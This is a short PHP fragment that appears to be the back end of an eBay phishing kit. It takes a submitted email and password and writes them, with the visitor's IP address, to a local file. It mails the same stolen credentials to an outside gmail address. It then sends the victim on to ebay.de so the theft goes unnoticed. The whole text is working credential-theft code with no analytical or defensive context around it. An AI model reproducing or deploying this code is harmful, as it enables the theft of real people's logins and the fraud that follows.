$fp = fopen("succes.txt", "a"); $msg="--------------------\n". "ip: ".@$pfw_ip= $_SERVER['REMOTE_ADDR']."\n". "Login: ".$_POST[email]."\n". "Password: ".$_POST[password]."\n"; fwrite($fp,$msg); $header = "From: eba@yde\r\n"; mail("amazonvin@gmail.com","IP: ".@$pfw_ip= $_SERVER['REMOTE_ADDR'],"User: ".$_POST[email]."\nPassword: ".$_POST[password], $header); header("Location: http://ebay.de"); ?>